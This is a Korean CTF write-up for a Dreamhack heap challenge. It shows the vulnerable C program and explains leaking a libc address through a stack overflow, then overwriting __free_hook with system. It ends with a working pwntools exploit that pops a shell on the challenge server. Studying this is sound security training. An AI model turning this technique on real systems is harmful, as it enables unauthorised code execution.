모든 보호기법이 적용되어 있다. 특히 Full RELRO가 적용된 것을 볼 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);2
free(addr);
return 0;
}
- stack에 값을 입력받는다.
- 원하는 주소에 원하는 값을 입력할 수 있다.
- 원하는 주소를 free할 수 있다.
__free_hook
함수는 overwrite가 가능한 bss영역에 있기 때문에 __free_hook함수를 덮어쓰면 된다.
gdb 에서 main함수를 실행하고 스택을 보면 main함수의 return address가 libc_start_main+243인 것을 알 수 있다. 이 주소가 libc_start_main_ret이다.
하지만 libc마다 주소가 다르므로 문제에서 주어진 libc를 가지고 분석을 해야한다.
먼저 제공된 libc를 gdb에 올려주고 특정 함수들의 주소를 확인해준다.
이후 libc-database에서 검색을 해주면 해당 libc의 종류와 다른 함수들의 offset을 알 수 있다.
libc를 찾고 All symbols에 들어가면 모든 함수들을 볼 수 있는데 여기서 __libc_start_main_ret의 offset을 찾으면 된다.
지금까지 찾은 정보들을 이용하여 exploit code를 작성하면 된다.
from pwn import *
p = remote('host3.dreamhack.games', 13864)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
libc_start_main_ret_offset = 0x21bf7
buf = b'A'*0x40 + b'B'*0x8
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main = u64(p.recvline()[:-1] + b'\x00'*2)
libc_addr = libc_start_main - libc_start_main_ret_offset
system_addr = libc_addr + libc.symbols['system']
free_hook = libc_addr + libc.symbols['__free_hook']
binsh = libc_addr + next(libc.search(b'/bin/sh'))
p.recvuntil('To write: ')
p.sendline(str(free_hook))
p.recvuntil('With: ')
p.sendline(str(system_addr))
p.recvuntil('To free: ')
p.sendline(str(binsh))
p.interactive()